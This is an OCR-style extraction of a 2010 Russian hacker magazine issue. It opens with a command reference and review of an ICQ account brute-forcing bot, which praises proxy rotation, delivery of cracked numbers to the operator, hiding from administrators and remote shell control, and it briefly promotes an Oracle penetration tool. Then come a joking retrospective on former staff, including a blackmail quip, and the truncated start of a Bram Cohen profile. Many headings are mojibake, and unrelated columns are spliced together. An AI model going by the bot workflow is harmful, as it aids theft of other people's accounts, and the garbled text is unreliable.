Список основных команд:
1. Brutal control.

/stats (or 1) — show .Brutal 

statistics

/start — press 'start' button in 

.Brutal

/stop — press 'stop' button in 

.Brutal

/pause — press 'pause' button in 

.Brutal

/continue — press 'continue' button 

in .Brutal

/cleanup — clean proxies in .Brutal

syntax: /cleanup [proxy_type]

proxy types: https (h), socks4 (s4), 

socks5 (s5)

note: without parameter = cleanup 

all proxies

/brtopt — display .Brutal options

/threads — set threads count

syntax: /threads value

/timeout — set timeout option 

syntax: /timeout value1 value2

note: value2 used only with .Brutal 

0.5

/clntime — set cleanup time

syntax: /clntime value

/autosave — set autosave time

Встроенный генератор позволяет создавать 
списки uin;pass прямо через бота, используя 
списки номеров, паролей или пароли, переда-
ваемые в параметр команды. Таким образом, 
можно создать несколько списков и долго 
не заходить на сервер, бот сам будет менять 
списки, обновлять прокси и присылать новые 
номера. Присутствует также возможность 
восстановления процесса брута после разрыва 
связи с сетью. Бот делает резервную копию 
списков прокси после разрыва, а когда связь 
снова появляется, восстанавливает все прокси 
и запускает брут, поэтому не нужно больше бес-
покоиться о бесполезных простоях сервера.
Также нельзя не отметить продвинутую систему 
плагинов для бота, найти которые (и почитать 
об остальном функционале и командах) можно 
на официальном сайте проги — http://qip-blog.
eu.org/storm2008be.

ПРОГРАММА:  ORACLE SECURITY TOOLS 
(GUI)
ОС: WINDOWS 2000/2003/XP/VISTA/7
АВТОР:  CYBER$NAKE

Что это мы все «MySQL да MySQL»? Пора бы 
уже и на другие базы данных внимание 
обратить. Представляю тебе Oracle Security 
Tools — программное средство, предназначен-
ное для тестирования на безопасность СУБД 
Oracle 8i-9i, 10g, 11g. Прога работает без Oracle 
Client и дополнительных модулей и позволяет 
имитировать проникновение в СУБД Oracle с 
помощью существующих в ней уязвимостей.
Возможности и функционал проги:
• повышение привилегий пользователя Oracle; 
• проверка системных аккаунтов Oracle на 
наличие пароля по умолчанию;
• проверка аккаунтов Oracle на соответствие 
логин=пароль;
• повышение привилегий в ОС Windows 2000/
XP/2003 (добавление локального пользова-
теля с правами администратора и удаленного 
подключения);
• проникновение в ОС и выполнение команд 
DOS с правами администратора системы;
• просмотр соединений пользователей с базой 
данных и их действий;
• анализ внешнего TNS listener.log;
• многопоточный сканер портов;
• тестирование на проникновение.
Подробности ищи на официальном сайте про-
граммы securetools.ru.  z

syntax: /autosave value

/show — show .Brutal and bot windows

/hide — hide .Brutal and bot windows

/runbrt — run and start .Brutal

/killbrt — hard terminate brute 

process

/good — show good list

2. Bot administration.

/adminlist — show admin list with 

permissions

/add — add UIN to admin list

syntax: /add UIN[:permissions]

ex.: '/add 123123', '/add 321321:+-

+--'

permissions: 1 — send new good's, 2 

— allow to use commands, 3 — allow to 

use /stats, 4 — allow to administrate 

bot, 5 — notify terminating

default permissions is -+++-

/delete — delete UIN from admin list

syntax: /delete UIN

/pchange — change permissions

syntax: /pchange UIN:perm_

index:permission , /pchange 

UIN:permissions

ex.: '/pchange 123123:1:+', '/

pchange 321321:+-+-+'

/settings — display bot settings

/set — set bot settings

syntax: /set -option value 

note: for information send '/set ?'

/botlog — show bot log

syntax: /botlog [count] default 

count is 10

note: large messages will not be 

delivered

/messlog — show messages log

syntax: /messlog [count] default 

count is 10

note: large messages will not be 

delivered

/pluglist — show list of plugins

/clrlog — clean system and messages 

logs

Преимущество бота перед конкурентами в том, 
что он предоставляет широкие возможности 
по управлению процессом брута, ибо делает 
всю ручную работу за тебя. Обновление прокси, 
организация списков для брута и отправка 
новых номеров прямо к тебе в icq позволят эко-
номить время и трафик (и при этом быть в курсе 
событий, происходящих на сервере). Скрытие 
окна брута (в том числе и своего) и иконки в 
трее дадут шанс избежать того, что твою учетку 
заблокируют администраторы.
Управление командной строкой при помощи 
бота открывает полный доступ к серверу. Очень 
удобная фича, так как с ее помощью можно 
делать практически все: управлять файлами, 
учетными записями, перезагружать сервер, 
работать с консольными приложениями (в 
частности, консольные rar и zip) и т.д.

Storm 2008 Brutal Edition

Массовая смена инфы
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Британские ученые доказали, 
что период полувыведения ин-
формационных токсинов, заража-
ющих твой мозг через просмотр 
телевизионных ботов из новогод-
него голубого экрана, составляет 
не менее трех месяцев. 
За это время они разрушают твой 
организм сильнее микробов, 
обитающих под ободком унитаза, 
или даже клещей, пытающихся 

поиметь нас через ковровое пок-
рытие. К счастью, русские ученые 
нашли классический способ 
лечения — «клин клином выши-
бают». Смело принимай  лекарст-
во от доктора Лозовского, ведь 
твоему вниманию предлагается 
статья о семи самых культовых 
журналистах Хакера за послед-
нее десяти (ой, уже двенадцати)
летие!

ÍÅÄÅËß ÂÅËÈÊÈÕ 
ÆÓÐÍÀËÈÑÒÎÂ:
ÑÅÌÜ ÇÍÀÊÎÂÛÕ

X-ÌÝÍÎÂ 
ÏÐÎØËÎÃÎ ÄÅÑßÒÈËÅÒÈß
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SINtez aka 
Ñåðãåé 
Ïîêðîâñêèé
ÊÎÃÄÀ ÇÀÐÓËÈÂÀË: Ñ ÑÀÌÎÃÎ ÍÀ×ÀËÀ
Æàëîáû: выяснить не удалось, хотя на мо-
мент написания статьи Серега чем-то болел.
Àíàìíåç
Если бы я был главным редактором, я бы 
все рабочее время сидел на завалинке, 
любовался бы на облака, курил бы махорку, 
грыз бы семечки и давил мух на окне. А что 
делать? В социальных сетях я не зарегист-
рирован, ЖЖ не веду, а команда все равно 
вся при деле: редакторы — генерят темы, 
прессуют авторов, доводят тексты. Литера-
турный редактор — исправляет ошибки в 
том, что прошло мимо бдительного взгляда 
редакторов, верстальщик — верстает, арт-
директор — овладевает верстальщиком и 
генерит дизайн, выпускающий редактор — 
прессует всех и рулит всем вышеперечис-
ленным контингентом.  Красота! Ну что, по-
велся? Конечно же, я фантазирую. Если бы у 
z были такие главные редакторы — Хакера 
просто бы не существовало. Например, бла-
годаря энергии первого главреда — Сереги 
Покровского, Хакер, во-первых, появился 
на свет, а во-вторых — стал известнейшим 
отечественным изданием, который, бывало, 
соревновался по продажам с грандами вроде 
«Men’s Health» и «Максим» (ничего удиви-
тельного, ведь z — это «мужской и развле-
кательный» журнал. SINtez’а хватало на все 
и на всех: 
Арт-директор? А вот, кстати, у меня для тебя 
есть три варианта новой обложки, пойдем, по-
кажу. И что это у тебя тут в дизайне статьи? Не, 

вот сюда надо добавить злого робота, сюда — 
человеческий мозг, а сюда — Холода в трусах и 
с вантузом наперевес. Холод — там, вантуз — 
чуть левее, около кулера. 
Редактор? А про взлом IRC мы писали? Не 
писали! Надо написать, я как раз тут тусуюсь 
на одном канале, кое-что интересное узнал, 
завтра напишу. 
Литературный редактор? Почему в одной статье 
у нас «крэкинг», а в другой — «крекинг»? Не, 
это не дело: нам нужно стандартизировать весь 
компьютерный жаргон! Выпустим правила, все 

пропишем, у меня уже кое-что написано.
Так оно все и было. Со временем Серега передал 
свой пост 2poisonS aka Александру Сидоровско-
му, а сам — ушел на повышение, став издателем 
всей цифровой группы журналов Геймленда. 
Äèàãíîç: Покровский — человек-атомный 
реактор. Папочка Хакера. Спасибо Синтезу 
за наше счастливое детство! 
В настоящее время он занимается проектом 
http://2funkey.ru, и при самом поверхност-
ном ознакомлении с этим ресурсом ты уви-
дишь, что Синтез ничуть не постарел :).
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Dr.Cod aka Ôåäîð 
Äîáðÿíñêèé
ÊÎÃÄÀ ÇÀÐÓËÈÂÀË: Ñ ÄÎÈÑÒÎÐÈ×ÅÑÊÈÕ 
ÂÐÅÌÅÍ. ÊÎÃÄÀ ÂÑÅ ÏÐÈØËÈ, ÎÍ ÓÆÅ 
ÁÛË (ÄÅÊÀÁÐÜ 1998).
Æàëîáû: По старой традиции Добрянский их 
скрывает. Вместо этого он копипастит и шлет 
нам жалобы из справочника прабабушки-вра-
ча, симулируя литейную лихорадку, водянку 
яичка и легкое рубщика клена одновременно.
Àíàìíåç
Каждый Х-мэн запомнился нам чем-то 
особенным, не стал исключением и Доктор 
Добрянский. Со стародавних времен Dr.Cod 
нес знамя и всячески иллюстрировал собой 
стереотип техногенного компьютерного гика, 
жесточайшего хардварного маньяка и просто 
законченного «радиолюбителя» с паяльником 
вместо… эээ… ну, скажем, просто с паяльником. 

Да, он вел рубрику FAQ (не путать с Hack-FAQ, 
раньше это были разные рубрики!), прикалы-
вался и дичайше угорал наравне со всеми, но 
воистину прославился сей господин своими 
бесчеловечными опытами на ниве пайки, 
сварки, кройки и шитья. Он сконструировал те-
леглушилку и самоходного робота, низкоомный 
виброчепец и металлоискатель, лазерофон и 
биодетектор. Обо всех этих достижениях он не 
забывал писать в Хакер и ХакерСпец (рубрика 
«Паяльник»), и читателей это радовало, пос-
кольку позволяло получать максимум хулиган-
ского результата при минимуме радиодеталей. 
Впоследствии Добрянский покинул журналы, 
мигрировав в другое подразделение компании — 
тестовую лабораторию, где занимался сам 
понимаешь чем, и широко прославился в узком 
круге редакторов жесточайшими задержками 
конечных материалов :) — бывало, что он ски-
дывал нам результаты тестов новых девайсов 
(хардов, моников и прочих матплат) в день 
засылки журнала в типографию. 

Äèàãíîç
Доктор Добрянский — автор вошедшей во 
всемирную историю Резолюции о неделе 
порабощенных наций, принятой еще в 1959 
году. Стоп, это другой Доктор Добрянский. У 
нашего же диагноз прост: «Каждый вечер и 
каждый восход Доктор Добрянский паяльник 
берет». Сейчас он журналистикой напря-
мую не занимается, а занят он (цитирую): 
«поддерживаю информационные системы, 
пишу софт для моделирования динамичес-
ких опционных позиций, продвигаю один 
хороший бренд».
Îò ñåáÿ: А еще я  преподавал в МИРЭА 
«Аппаратные Средства Вычислительных 
Сетей», вел научную работу по системному 
моделированию СБИС СнК, разрабатывал 
Мощщщщные Лаззззеры в ИОФАН РАН, был 
главным редактором сайта по инвестициям, 
написал книгу «Управление Фрилансерами», 
занимался моделированием динамических 
опционных позиций.
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Holod aka 
Àëåêñàíäð 
×åðíûõ
ÊÎÃÄÀ ÇÀÐÓËÈÂÀË: Ñ 1999 ÃÎÄÀ
Æàëîáû: А почему вас это интересует? (еë-
êè-ïàëêè, ìû ïîïàëè, âåäü Õîëîä óâëå-

êàåòñÿ ïñèõîëîãèåé — прим. Лозовского).
Àíàìíåç
Есть такие люди, которые, кажется, никогда 
не устают. Они все время на подъеме — в 
курсе всего, генерят, креативят, у них всегда 
есть новые идеи, время для их реализации и 
при этом — куча времени для общения, тусо-
вок и гонок на машинах. Таких людей мало, и 
наш Холод — один из них. Благодаря своему 
организаторскому таланту и способности 
создавать вокруг себя ощущение «команды» 
(которое магическим образом распростра-
нялось и на наших читателей), Александр 
стал одним из самых известных журналистов, 
работавших в Хакере, Спеце и Хулигане: 
он руководил авторами, отвечал на письма 
читателей и читатели с удовольствием их 
ему писали :), а фразы вроде «твои пупыр-
чатые суслики» или «целуем в десны, твои 
мухорчатые гонобобели» в среде фанатов 
z приобрели определенную меметичность. 

Как я уже говорил, отметился Холод сразу в 
трех, начинающихся с буквы Х, журналах: в 
качестве журналиста и редактора Хакера, 
главного редактора спецвыпуска Хакера и 
главного же редактора журнала Хулиган. Куда 
он, кстати, и перенес угар, бесшабашность и 
бакланизм старого Хакера :), от которого в те 
годы (2003-2004-й) в z начали постепенно 
отказываться.
Äèàãíîç: Человек-динамит, человек-ко-
манда! Сейчас — расстался с журналистикой 
вообще и со сферой IT в целом, полностью 

посвятив себя HR (human resources). Работает 
советником управляющего директора по рабо-
те с персоналом компании «Диасофт».
Îò ñåáÿ: Лично считаю, что Хакеру реально 
повезло с Покровским как с первым Главным — 
отличный лидер, человек-зажигалка, который 
ни минуты на месте не сидел, все время при-
кручивал что-нибудь, да новые поля распахи-
вал. Таких больше нет. С радостью вспоминаю 
доктора Добрянского и Донора, которые были 
исключительными западлостроителями выс-
шей пробы.

HorrifIc aka 
Ìèõàèë Ôëåíîâ
ÊÎÃÄÀ ÇÀÐÓËÈÂÀË: Ñ 1999 ÃÎÄÀ
Æàëîáû: На отсутствие прежнего командного 
духа в нынешней x-crew.
Àíàìíåç
Брутальный ростовский парень, програм-
мист Ростсельмаша по имени Михаил мог 
бы появиться на пороге нашей редакции 
еще в момент подготовки второго номера 
журнала, но, разумеется, он этого не 
сделал. По уважительной причине — жил 
он тогда за тысячу километров от редак-
ции. Поэтому он откликнулся на пред-
ложение Покровского по электропочте 
и после небольшого собеседования был 
принят в штат авторов. Будучи мощным 
компьютерщиком, со временем поднимая 
все больше и больше статей (рекорд — 7 
статей в номере!) и ежемесячно отвечая 
на вопросы читателей в Hack-FAQ, Horrific 
очень быстро превратился в одного из 
самых заметных авторов тогдашнего z. 
Неудивительно, что, когда SINtez начал 
планировать изменения в журнале, была 
одобрена именно его концепция — план 
создания рубрики «Кодинг», а единствен-
ным условием ее существования, которое 

было поставлено перед Михаилом, было 
«не ботанить» :).  Он и не ботанил — рабо-
тая на вышеупомянутом заводе кодером 
и специалистом по БД (из 40000 налогоп-
лательщиков), он колбасил статьи в z, 
активно неся в массы знания и наш фир-
менный стиль, разрабатывал шароварные 
программы под собственной маркой и 
писал книги.  
Äèàãíîç
Пожалуй, один из столпов Хакера начала века, 
показывающий, что «просто о сложном» — это 
не просто лозунг, а руководство к действию. 
Да что там говорить, благодаря его статьям и 
его сайту, который он пиарил в z, я узнал кучу 
нового о программировании, познакомился с 
самим Horrific’ом, а затем и попал автором в 

z образца 2001 года :). Сейчас он живет в Ка-
наде, работает в крупной web-девелоперской 
компании, успевая при этом поддерживать аж 
три собственных проекта — www.cydsoft.com, 
www.heapar.com и www.flenov.info (на самом 
деле их четыре, но это число не очень краси-
вое и я решил его немного округлить).

Îò ñåáÿ
Это сейчас я уже готов писать в Хакер 
хоть бесплатно, если бы время было, 
а тогда начинал писать именно ради 
денег. Все банально — деньги и новые 
ощущения. Хотя деньги тогда были на 
первом месте. Я работал  программистом 
на Ростсельмаше, а этот завод стоял и 
зарплату не платил.  

АЛЕКСАНДР «HOLOD» 

ЧЕРНЫХ ДИЧАЙШЕ 

УГОРАЕТ В ТЕПЛЫХ КРАЯХ
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С ТОЧКИ ЗРЕНИЯ МИХИ ФЛЕНОВА, ТАК ОН 

ВЫГЛЯДЕЛ ВО ВРЕМЯ РАБОТЫ В  z. МНЕ 

КАЖЕТСЯ, ЧТО ОН ГОНИТ — ВЕДЬ ЕМУ ТОГДА 

БЫЛО ЛЕТ 25.

HORRIFIC 

В НАШИ ДНИ: 

БУРЖУАЗНЫЙ 

КАНАДСКИЙ 

ПРОГРАММИСТ!
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Äàíÿ aka Äàíèèë 
Øåïîâàëîâ
ÊÎÃÄÀ ÇÀÐÓËÈÂÀË: Ñ ÄÅÊÀÁÐß 1999 
ÃÎÄÀ
Æàëîáû: на врагов, которые башляют ему 
хороший кэш и поставляют юных любовниц 
(åñòü ìàçà, ÷òî îí ñêîðåå õâàñòàåòñÿ — 
прим. Лозовского).
Àíàìíåç
Во-первых, Даниил Шеповалов — это не 
псевдоним. И даже не творческий коллектив. И, 
разумеется, никакой не инопланетный разум — в 
конце прошлого века это был обычный студент-
программист, изучавший компьютерную графику 
и генетические алгоритмы днем и гасившийся 
на рейвах по ночам. Так бы ему и оставаться 
простым студентом, если бы не некий мисти-
ческий предмет, который он нашел на крыше 
Эрмитажа в процессе мастурбации оттуда в Неву. 
Подробнее мы не можем об этом рассказать, 
бумага этого просто не выдержит, поэтому сооб-
щим тебе результат: на следующий день SINtez, 
шарящий в яндексе на предмет слова… как это 
ни странно, «юмор», попал на Данину страничку 
и пригласил его в команду z. Дальнейшее тебе 
известно — темная сила артефакта,   помножен-
ная на мощный интеллект Дани, начала мощно 
изливаться на страницы Хакера. Она сделала 
данного господина настолько широко известным 

в интернетах, что среди некоторых его пользо-
вателей Хакер только с ним и ассоциируется. 
Кстати говоря, писал Даня в том числе статьи, не 
содержащие в себе мощного некросодомичес-
кого заряда — материалы вроде «AI: SkyNet или 
Пикачу» тому примером. 
Спустя четыре года энергия артефакта нача-
ла иссякать, подтачивая его Волю, Ловкость 
и Сопротивление Магии, в результате чего 
Даня поддался на происки злых конкурентов, 
соблазнивших его вышеуказанным золотом 
и девственницами, в результате чего  z 
лишился своего главного хумориста, а мы, 
оставшиеся члены X-Crew, как раз органи-
зовавшие прямое общение с читателями, 
опубликовав свои мобильные телефоны, 
начали постепенно прогибаться под шквалом 
звонков и SMS примерно такого содержания: 
«Где Даня? Верните Даню! Даш аську Дани? 
Даш аську Форба? Даш аську Бублика! Риаль-
но нада!». Спустя долгие годы Даня вернулся 

— но это был уже не тот Даня — мы считаем, 
что был созданный злобным колдуном гомун-
кулус. Поэтому больше мы про Шеповалова 
ничего писать не будем, а лучше дадим слово 
ему самому.
Äèàãíîç: Даня — это Даня. Монстр хумора об-
разца начала века, которого помнят и цитируют 
до сих пор. Сейчас он работает в PR-службе 
в RuTube и держит портал для журналистов и 
пиарщиков Mediahunter.ru.
Îò ñåáÿ: Активно нес контркультуру в массы. 
Полагаю, донес и не расплескал. Судя по всему, 
буду гореть в аду в особой VIP-ложе.
А однажды я спас Синтеза от гибели. Мы были в 
питерском клубе «Мама» — это был лютый при-
тон и рассадник порока. Ну и Синтез так много 
выпил чая и минералки, что пришлось его 
отвести в туалет и поливать холодной водой. 
Синтез при этом повторял «Че-то мне п*ц!», а 
мыслью пребывал в Далеких Мирах Бодхисатв 
Будущего.

Mindw0rk aka Îëåã 
×åáåíååâ
ÊÎÃÄÀ ÇÀÐÓËÈÂÀË: Ñ 2003 ÃÎÄÀ
Æàëîáû:  на присутствие геев в команде 
Хакера образца 2004 года (подробности — ниже. 
Внимание! Наличие геев в команде Хакера 
научно не доказано!).
Àíàìíåç
Как известно, на факультете физики учат 
физиков, а на факультете журналистики — 
журналистиков. Специально обученных пятью 
годами журфака журналистов в z никогда не 
водилось, видимо, поэтому мы никогда не писа-
ли про пришельцев, похищающих нижнее белье 
у звезд эстрады и волшебные крема из таеж-
ного меда, которые нужно употреблять вместо 
термопасты с целью увеличения производи-
тельности. Да, я отвлекся, но не просто так — 
суть в том, что именно Олег, вдохновленный 
фильмом «Хакеры», но ни разу хакером не яв-
лявшийся, воплощал в нашем журнале «Жур-
налиста» — человека, который способен взять 
интервью у Билла Гейтса, Евгения Касперского 
и Криса Касперски вместе взятых (хотя испы-
тания адронного коллайдара доказали, что 
Крис и Евгений при встрече немедленно анни-
гилируют с выделением огромного количества 
энергии), найти подходы к командам вроде 

Метео, Scut-а, m00, 
cDc и даже интересно 
(!) написать статью 
про udaff.com. Из 
авторского сословия 
он очень быстро пе-
рекочевал в когорту 
редакторов, приняв 
под свое командова-
ние рубрику «Сцена» 
(в которой командо -
вал в основном собой), 
а вскоре — метаста-
зировал в рубрику 
«Креатифф», которую заполнял исключительно 
собой. Что справедливо — креативы кроме 
него все равно никто писать не умел. Название 
«Креатифф» было выбрано неслучайно — 
ведь в те мрачные времена в интернетах был 
очень популярен «ресурс Удава», на котором 
тусовалось огромное количество личностей, 
ободренных новой модой, которая постано-
вила, что в XXI веке стало можно писать по 
принципу «как слышится — так и пишется, а то 
и даже хуже». Так вот, среди этих зловредных 
личностей присутствовал и некий mindw0rk. 
Кроме подвигов на ниве журналистики, Олег 
запомнился нам своим увлечением бильярдом 
(насколько я понимаю, вполне монетизиро-
ванное увлечение), плавно перешедшим в не-
сколько лет задротства в MMORPG (чему и был 

посвящен его ЖЖ), от которого он в итоге смог 
излечиться, увлекшись в настоящее время 
покером. Которое, с его слов, тоже более-ме-
нее себя окупает.
Äèàãíîç: Официальный журналист Хакера. 
Человек, который знает толк в публицистике, 
интервью и онлайн-играх. О которых сейчас и 
пишет. Говорит, что мечтает написать на эту тему 
толстую книгу без картинок. 
Îò ñåáÿ
Помнится, приютил на хате московскую деле-
гацию из z: Бублика, Хинта, Куттера, Олега. 
Записал компромат, где Бублик натурально 
дрючит по-гомосятски Хинта, видео до сих 
пор хранится у меня на компе. Может, если 
кто-то из них станет депутатом, пригодится для 
шантажа :).

ДАНЯ ШЕПОВАЛОВ СПАМИТ ЖУРНАЛИСТОВ. ВАШ НЕПОКОРНЫЙ И НИКАКОЙ НЕ СЛУГА ТОЖЕ ПАЛ ЖЕРТВОЙ 

ЭТОЙ РАССЫЛКИ

ОЛЕГ «MINDW0RK» ЧЕБЕНЕЕВ 

РЕКЛАМИРУЕТ FREEBSD. ОЧЕВИДНО, ХОЧЕТ 

ПОПРОСИТЬ В ДОЛГ У АНДРЕЯ МАТВЕЕВА!
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b00b1ik aka Àðòåì 
Àíèêèí
ÊÎÃÄÀ ÇÀÐÓËÈÂÀË: Ñ 2004 ÃÎÄÀ
Æàëîáû:на злоупотребление алкоголем 
в течение длительного времени.
Àíàìíåç: 
Рядовой новосибирский старшеклассник, 
отнимающий у соучеников завтраки, деньги и 
мобильники, отрывающий крылья бабочкам, 
топчущий муравейники и целующий девочек — 
казалось бы, какую роль он мог сыграть в 
жизни z? Элементарно, Ватсон! Во-первых, 
на момент установления контакта с журналом 
Артем уже вырос, выписался из школы и даже 
получил аттестат. Во-вторых, он перестал 
отнимать у подростков мелкие материальные 
ценности (никакого криминала, в Новоси-
бирске, находящимся на территории бывшей 
Гипербореи, так принято), переехал в Москву и 
перешел на ценности виртуальные —  зару-
ливал на асечке (asechka.ru), брутил уины, 
добывал шестизнаки, овладел пятизнаком (и 
до сих пор его не проимел), да и вообще зани-
мался делами настолько темными, что не хочет 
о них говорить даже сейчас. Так или иначе, 
тогдашний редактор рубрики «Взлом» — 
Иван Петров aka CuTTer пригласил Бублика  
авторствовать в его рубрику, что вылилось 
(февраль 2004 года) в написание вышеозна-
ченным перцем статьи «Выгибаем большую 
лапу» про баги известного почтового сервера. 
После этого внезапно выяснилось, что Артем — 
не злой криминогенный хакер, а веселый 
парень, вечно молодой (тогда — 18 лет) и вечно 
пьяный, всегда готовый искрометно пошутить 
и выпить литр-другой 60% воды. А посколь-
ку в те далекие времена в журнале имел 
место острый недостаток юмористов (точнее, 
юмористами там были все, но вот написать что-
либо смешное мог только Даниил Шеповалов, 
который тогда, к сожалению, был похищен при-
шельцами), именно Артем и начал заруливать 
Хумором в нашем журнале. Со временем сей 
студент МТУСИ (где он, кстати, учился вместе 
с CuTTer’ом и NSD), благодаря своим могучим 

навыкам в области алкоголизма, прогулов 
семинаров, взлома и программного обеспе-
чения, заджойнился в редакторы рубрики 
PC-ZONE и некисло поднял ее интересность в 
глазах тех читателей, которые начали считать, 
что ее прежний редактор (M.J.Ash) — слишком 
стар, уныл и официален, чтобы делать рубрику, 
достойную внимания нашего активного и ха-
керски-ориентированого читателя. Погоди, ты 

всерьез считаешь, что пьянство и прогулы я 
упомянул здесь для красного словца или, тем 
паче, для юмору? Вовсе нет, ведь тогда эти 
вещи назывались по-другому — дипломатия и 
тайм-менеджмент соответственно. 
Äèàãíîç: 
Заметный чувак. Внес порядочный вклад в 
развитие журнала, особенно — в общение с 
читателями, показав им пример тогдашнего 
ксакепа  — молодого, дерзкого и веселого. 
Нынче — поднялся, открыл свое дело, с жур-
налистикой и хаком не связанное —  держит 
тату-салон в центре Москвы.
Îò ñåáÿ:
Вот и все, что сказал мне Бублик в ответ на 
присланный ему этот текст: «аххаах». 

ÇÀÊËÞ×ÅÍÈÅ
Вот и подошла к концу наша историческая ста-
тья. Если ты читаешь журнал недавно — считай, 
что ты ознакомился с великими скрижалями z :). 
Если давно — все равно узнал много нового, 

поскольку я и сам был удивлен некоторым 
подробностям жития старых коллег и тем 
метаморфозам, которые произошли с ними к 
2010-му году. Разумеется, за рамками статьи 
остались z-мэны современности — хотя боль-

шинство из них работают в журнале кучу лет и 
весьма заметны (взять хотя бы Горла, который 
являет собой красивейший стереотип крутого 
программиста-хардкорщика). Ну ничего, и про 
нас когда-нибудь напишут :).  z

 DVD: Caution! Hot content! / Обережно, гарячо!

На нашем диске тебя ждет царский бонус размером с сиденье от унитаза, тьфу, точнее, 
только что прочитанную тобой статью: полный текст интервью со всеми упомянутыми 
в статье z-мэнами. 





СЦЕНА
  МАРИЯ «MIFRILL» НЕФЕДОВА MIFRILL@REAL.XAKEP.RU  

 080

ÁÐÝÌ ÊÎÝÍ — ÊËÀÑÑÈ×ÅÑÊÈÉ 
ÃÈÊ. ÍÀÑÒÎËÜÊÎ 
ÊËÀÑÑÈ×ÅÑÊÈÉ, ×ÒÎ ÅÃÎ 
ÌÎÆÍÎ ÈÑÏÎËÜÇÎÂÀÒÜ 
Â ÊÀ×ÅÑÒÂÅ ÈËËÞÑÒÐÀÖÈÈ Ê 
ÝÒÎÌÓ ÏÎÍßÒÈÞ 
Â ÝÍÖÈÊËÎÏÅÄÈßÕ. 
ÍÀÂÅÐÍÎÅ, ÏÎÝÒÎÌÓ ÒÀÊ 
ÑËÎÆÍÎ ÏÎÂÅÐÈÒÜ, ×ÒÎ 
ÝÒÎÃÎ ÑÏÎÊÎÉÍÎÃÎ ÏÀÐÍß, 
ÊÎÒÎÐÛÉ ÏÈÒÀÅÒ ÍÅÆÍÓÞ 
ËÞÁÎÂÜ Ê ÃÎËÎÂÎËÎÌÊÀÌ 
È ÎÐÈÃÀÌÈ, ËÞÒÎ ÍÅÍÀÂÈÄßÒ 
ÂÑÅ ÏÐÀÂÎÎÁËÀÄÀÒÅËÈ ÍÀ 
ÏËÀÍÅÒÅ — ÅÙÅ ÁÛ, ÂÅÄÜ 
ÈÌÅÍÍÎ ÎÍ ÏÐÈÄÓÌÀË 
ÏÐÎÒÎÊÎË BITTORRENT, 
ÎÊÎÍ×ÀÒÅËÜÍÎ ÑÏÓÑÒÈÂ 
ÏÈÐÀÒÑÒÂÎ Ñ ÏÎÂÎÄÊÀ.  

ÃÎËÎÂÎËÎÌÊÀ 
ÒÎÐÐÅÍÒÎÂ
Î ÁÐÝÌÅ ÊÎÝÍÅ, 
ÑÎÇÄÀÒÅËÅ 
ÏÐÎÒÎÊÎËÀ 
BITTORRENT

XÀÊÅÐ  03  /134/  10



 081 

ÃÅÍÈÈ ÍÅ ËÞÁßÒ ØÊÎËÓ
Откуда вообще берутся все эти «новые тех-
нологии»? Они явно не растут на деревьях и 
не размножаются почкованием, их придумы-
вают люди, и, как правило, очень необычные 
личности. Ты только вдумайся, каким нужно 
быть гиком, чтобы с нуля, из головы, измыслить 
прин ципиально новый гаджет или не имеющую 
никаких аналогов технологию. Неудивительно, 
что таких гениев обычно величают психами 
и зачастую при жизни они так и не находят ни 
единомышленников, ни признания. 
Нашему сегодняшнему герою повезло несколь-
ко больше «собратьев по разуму» — свое место 
в этой жизни Брэм Коэн нашел, да и с при-
знанием дела тоже обстоят неплохо, хотя, как 
было сказано выше, его можно использовать 
в качестве иллюстрации к понятиям «гик» или 
«нерд». Родился Брэм в 1975 году, в Соединен-
ных Штатах, ясное дело, Америки, и проявлять 
интерес к программированию, математике и к 
другим, не совсем обычным для ребенка вещам, 
он начал в совсем юном возрасте. Тогда о стран-
ностях Брэма никто особенно не задумывался, 
во всяком случае, вести его к психологу нужды 
не было. Напротив, за одаренного мальчика 
только радовались, да иногда беззлобно руга-
лись — маленький Брэм обожал всевозможные 
головоломки, но хватало их от силы на полчаса. 
Кстати, он до сих пор способен собрать кубик 
Рубика за 2 минуты, практически машинально. 
Учился Коэн в том же городе, где появился на 
свет — в Нью-Йорке. Он посещал не простую 
школу, а именитое заведение с математичес-
ко-научным уклоном — Stuyvesant High School. 
Среди выпускников этой школы куча нобелев-
ских лауреатов, докторов наук, ученых и других 
видных личностей. В интервью Брэм, однако, 
не раз признавался, что школу он ненавидел, и 
ему приходилось постоянно держать в голове 
напоминание самому себе, что сюда он пришел 
учиться, получать знания. Как нетрудно дога-
даться, проблема крылась не в самой школе, а 
в том, что отношения со сверстниками не лади-
лись, да и оценки Коэна, как ни странно, тоже 
не достигали заоблачных высот. Брэм был спо-
собен добиваться великолепных результатов в 
узких, интересных лично ему сферах, например, 
в области любимой математики, но остальные 
предметы, те, что интересовали Брэма меньше, 
становились проблемой. Хуже того, отметки 
и успеваемость Коэн так же относил к вещам 
неинтересным и маловажным, что, конечно, 
не могло не возмущать педагогов. Положение 
худо-бедно поправляли разве что его победы 
на всевозможных математических олимпиадах, 
коих за школьные годы набралось немало.   
О причинах своих «странностей» Коэн узнал 
только в зрелом возрасте, когда впервые 
наткнулся на упоминание и описание синдрома 
Аспергера (иногда его еще называют синдро-
мом Гиков, или Кремниевой долины). Цитирую 
определение этого заболевания: «Синдром 
Аспергера — это так называемая форма 
высокофункционального аутизма, при котором 

способность функционировать относительно 
сохранена. Лица с синдромом Аспергера встре-
чаются редко, со стороны они не похожи на 
умственно отсталых и обладают, как минимум, 
нормальным, либо высоким интеллектом, но 
нестандартными или слаборазвитыми соци-
альными способностями; часто из-за этого их 
эмоциональное и социальное развитие, а также 
интеграция происходят позже обычного».
Узкие, интенсивные интересы, будучи поглощен 
которыми человек не замечает ничего вокруг — 
это так же одна из базовых характеристик син-
дрома Кремниевой долины, а Брэм подпадает 
практически под все его классические черты. 
Вместо общения со сверстниками в школьные 
годы он был поглощен изучением языков про-
граммирования (в частности, Basic и основ C), 
которым в 6 лет его начал обучать отец. В конце 
80-х даже в престижной Stuyvesant High School 
еще не было классов по программированию, так 
что почти все премудрости Брэму приходилось 
постигать самостоятельно, что, впрочем, его со-
вершенно не удручало — фактически, програм-
мировать Коэн начал уже к 10 годам.
В 1993 году, окончив школу, Брэм поступает в 
университет Буффало, но вскоре бросает учебу. 

Дело в том, что с возрастом он окончательно 
понимает, что ему очень тяжело заниматься 
вещами, которые он считает бессмысленными 
и неинтересными, а в колледже «ненужной 
информации» было слишком много.
Бросив колледж, Брэм продолжает учиться 
самостоятельно, плюс ищет работу. Эти поиски 
даже увенчались успехом, хотя требования 
он предъявлял не совсем стандартные. Коэн 
признается, что неспособен работать в фик-
сированном графике, по часам, в компании, 
предъявляющей строгие требования к дресс-
коду, и категорически не может выполнять бес-
смысленную и неинтересную работу. С такими 
